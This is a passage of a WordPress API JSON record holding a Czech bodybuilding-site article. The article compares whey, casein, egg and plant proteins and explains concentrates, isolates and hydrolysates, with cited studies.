pom\u011brn\u011b z\u00e1sadn\u011b li\u0161\u00ed: Syrov\u00e1tkov\u00fd protein ( WPC nebo WPI) je zdrojem b\u00edlkovin z\u00a0ml\u00e9\u010dn\u00e9 syrov\u00e1tky. Velmi rychle se tr\u00e1v\u00ed a vst\u0159eb\u00e1v\u00e1, a tak je ide\u00e1ln\u00edm zdrojem b\u00edlkovin po silov\u00e9m \u010di jin\u00e9m sportovn\u00edm tr\u00e9ninku. Kasein je druh\u00fdm typem b\u00edlkoviny, kter\u00fd se vyskytuje v\u00a0ml\u00e9ku. Oproti syrov\u00e1tkov\u00e9mu proteinu se tr\u00e1v\u00ed podstatn\u011b pomaleji, n\u011bkter\u00e9 zdroje hovo\u0159\u00ed o celkov\u00e9 d\u00e9lce tr\u00e1ven\u00ed 6\u20138 hodin. Z\u00a0toho d\u016fvodu se \u010dasto pou\u017e\u00edv\u00e1 v proteinov\u00fdch ka\u0161\u00edch, jako n\u00e1hrada stravy nebo jako no\u010dn\u00ed protein. Vaje\u010dn\u00fd albumin \u2013 dal\u0161\u00ed vysoce kvalitn\u00ed zdroj b\u00edlkovin Vaje\u010dn\u00e1 b\u00edlkovina je po nutri\u010dn\u00ed str\u00e1nce v\u00a0t\u011bsn\u00e9m z\u00e1v\u011bsu za ml\u00e9\u010dn\u00fdmi proteiny, a tak p\u0159edstavuje vynikaj\u00edc\u00ed zdroj b\u00edlkovin s\u00a0vysokou vst\u0159ebatelnost\u00ed. Vaje\u010dn\u00fd albumin pat\u0159\u00ed mezi vysoce kvalitn\u00ed zdroje b\u00edlkovin, ale oproti syrov\u00e1tkov\u00e9mu koncentr\u00e1tu je jeho tr\u00e1ven\u00ed podstatn\u011b pomalej\u0161\u00ed, a tak nen\u00ed \u00fapln\u011b vhodn\u00fd pro dopln\u011bn\u00ed b\u00edlkovin ihned po silov\u00e9m tr\u00e9ninku. Naproti tomu sv\u00e9 m\u00edsto nalezne v\u00a0proteinov\u00fdch ka\u0161\u00edch, v\u00a0proteinov\u00fdch n\u00e1hra\u017ek\u00e1ch hlavn\u00edch j\u00eddel nebo jako sou\u010d\u00e1st kvalitn\u00edch v\u00edceslo\u017ekov\u00fdch protein\u016f. Rostlinn\u00e9 zdroje b\u00edlkovin jsou zpravidla m\u00e9n\u011b kvalitn\u00ed Oproti ml\u00e9\u010dn\u00fdm protein\u016fm \u010di vaje\u010dn\u00e9mu albuminu maj\u00ed toti\u017e ni\u017e\u0161\u00ed zastoupen\u00ed esenci\u00e1ln\u00edch aminokyselin a nav\u00edc jsou zpravidla h\u016f\u0159e straviteln\u00e9. I tak ale mohou b\u00fdt solidn\u00edm zdrojem b\u00edlkovin a v\u00a0n\u011bkter\u00fdch p\u0159\u00edpadech se svou kvalitou \u017eivo\u010di\u0161n\u00fdm zdroj\u016fm b\u00edlkovin alespo\u0148 p\u0159ibli\u017euj\u00ed. Za nejobl\u00edben\u011bj\u0161\u00ed zdroje rostlinn\u00fdch b\u00edlkovin m\u016f\u017eeme pova\u017eovat: S\u00f3jov\u00fd proteinov\u00fd izol\u00e1t \u2013 pat\u0159\u00ed mezi nejl\u00e9pe vyu\u017eiteln\u00e9 zdroje rostlinn\u00fdch b\u00edlkovin, podle n\u011bkter\u00fdch krit\u00e9ri\u00ed je dokonce srovnateln\u00fd s\u00a0ml\u00e9\u010dn\u00fdmi proteiny. Hod\u00ed se p\u0159edev\u0161\u00edm po silov\u00e9m \u010di jin\u00e9m sportovn\u00edm tr\u00e9ninku. Hrachov\u00fd proteinov\u00fd koncentr\u00e1t vynik\u00e1 svou osobitou chut\u00ed, kter\u00e1 ne ka\u017ed\u00e9mu sportovci zcela vyhovuje. Z\u00a0nutri\u010dn\u00edho hlediska jde v\u0161ak st\u00e1le o velmi hodnotn\u00fd protein, vynik\u00e1 p\u0159edev\u0161\u00edm vysok\u00fdm pod\u00edlem esenci\u00e1ln\u00edch aminokyselin. R\u00fd\u017eov\u00fd proteinov\u00fd izol\u00e1t se \u010dasto vyskytuje jako sou\u010d\u00e1st komplexn\u00edch \u201evegansk\u00fdch protein\u016f\u201c, ojedin\u011ble na n\u011bj naraz\u00edme i samostatn\u011b. B\u00edlkovina r\u00fd\u017eov\u00e9ho proteinov\u00e9ho izol\u00e1tu je ji\u017e m\u00e9n\u011b kvalitn\u00ed, a tak je pot\u0159eba u\u017e\u00edvat opravdu vysok\u00e9 d\u00e1vky pro dosa\u017een\u00ed srovnateln\u00e9ho \u00fa\u010dinku, jak\u00fd zn\u00e1me od kvalitn\u011bj\u0161\u00edch proteinov\u00fdch n\u00e1poj\u016f v\u00a0b\u011b\u017en\u00e9m d\u00e1vkov\u00e1n\u00ed. &nbsp; Je libo koncentr\u00e1t, izol\u00e1t, nebo snad hydrolyz\u00e1t? Aby toho nebylo m\u00e1lo, jednotliv\u00e9 zdroje protein\u016f se je\u0161t\u011b mohou vyskytovat v\u00a0r\u016fzn\u00fdch variant\u00e1ch. B\u011b\u017en\u011b proto naraz\u00edte na n\u00e1sleduj\u00edc\u00ed: KONCENTR\u00c1TY jsou z\u00e1kladn\u00ed variantou proteinov\u00fdch n\u00e1poj\u016f, p\u0159\u00edkladem m\u016f\u017ee b\u00fdt syrov\u00e1tkov\u00fd proteinov\u00fd koncentr\u00e1t ( WPC). Obsah b\u00edlkovin v\u00a0neochucen\u00fdch proteinov\u00fdch koncentr\u00e1tech b\u00fdv\u00e1 p\u0159ibli\u017en\u011b 80 %. IZOL\u00c1TY jsou pokro\u010dilou variantou proteinov\u00fdch n\u00e1poj\u016f, p\u0159\u00edkladem je syrov\u00e1tkov\u00fd proteinov\u00fd izol\u00e1t ( WPI). Obsah b\u00edlkovin v\u00a0neochucen\u00fdch proteinov\u00fdch izol\u00e1tech b\u00fdv\u00e1 \u010dasto vy\u0161\u0161\u00ed ne\u017e 90 %. HYDROLYZ\u00c1TY (lidov\u011b \u201ehydro\u201c) jsou speci\u00e1ln\u00ed variantou proteinov\u00fdch n\u00e1poj\u016f. Jedn\u00e1 se o enzymaticky zpracovan\u00e9 proteinov\u00e9 koncentr\u00e1ty, u kter\u00fdch n\u00e1sledkem procesu hydrol\u00fdzy doch\u00e1z\u00ed k\u00a0chemick\u00fdm zm\u011bn\u00e1m. Proteinov\u00e9 hydrolyz\u00e1ty jsou sn\u00e1ze straviteln\u00e9, a proto se jedn\u00e1 o ide\u00e1ln\u00ed proteinov\u00e9 n\u00e1poje po sportovn\u00edm tr\u00e9ninku. &nbsp; &nbsp; &nbsp; &nbsp; Zdroje: IRAKI, Juma, Peter FITSCHEN, Sergio ESPINAR a Eric HELMS. Nutrition Recommendations for Bodybuilders in the Off-Season: A Narrative Review.\u00a0Sports 2019,\u00a07(7) MATHAI, John K., Yanhong LIU a Hans H. STEIN. Values for digestible indispensable amino acid scores (DIAAS) for some dairy and plant proteins may better describe protein quality than values calculated using the concept for protein digestibility-corrected amino acid scores (PDCAAS).\u00a0British Journal of Nutrition\u00a02017,\u00a0117(4), 490-499 J\u00c4GER, Ralf, Chad M. KERKSICK, Bill I. CAMPBELL, et al. International Society of Sports Nutrition Position Stand: protein and exercise.\u00a0Journal of the International Society of Sports Nutrition\u00a02017,\u00a014(1) BABAULT, Nicolas, Christos PA\u00cfZIS, Ga\u00eblle DELEY et al. Pea proteins oral supplementation promotes muscle thickness gains during resistance training: a double-blind, randomized, Placebo-controlled clinical trial vs. Whey protein.\u00a0Journal of the International Society of Sports Nutrition\u00a02015,\u00a012(1) PATEL, Seema. Emerging trends in nutraceutical applications of whey protein and its derivatives.\u00a0Journal of Food Science and Technology\u00a02015,\u00a052(11), 6847-6858 JOY, Jordan M, Ryan P LOWERY, Jacob M WILSON, et al. The effects of 8\u00a0weeks of whey or rice protein supplementation on body composition and exercise performance.\u00a0Nutrition Journal\u00a02013,\u00a012(1) HUGHES, Glenna J., David J. RYAN, Ratna MUKHERJEA a Charles S. SCHASTEEN. Protein Digestibility-Corrected Amino Acid Scores (PDCAAS) for Soy Protein Isolates and Concentrate: Criteria for Evaluation.\u00a0Journal of Agricultural and Food Chemistry\u00a02011,\u00a059(23), 12707-12712<\/p>\n","protected":false},"author":2,"featured_media":505,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-504","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/504","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=504"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/504\/revisions"}],"predecessor-version":[{"id":507,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/504\/revisions\/507"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/505"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=504"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=504"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=504"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}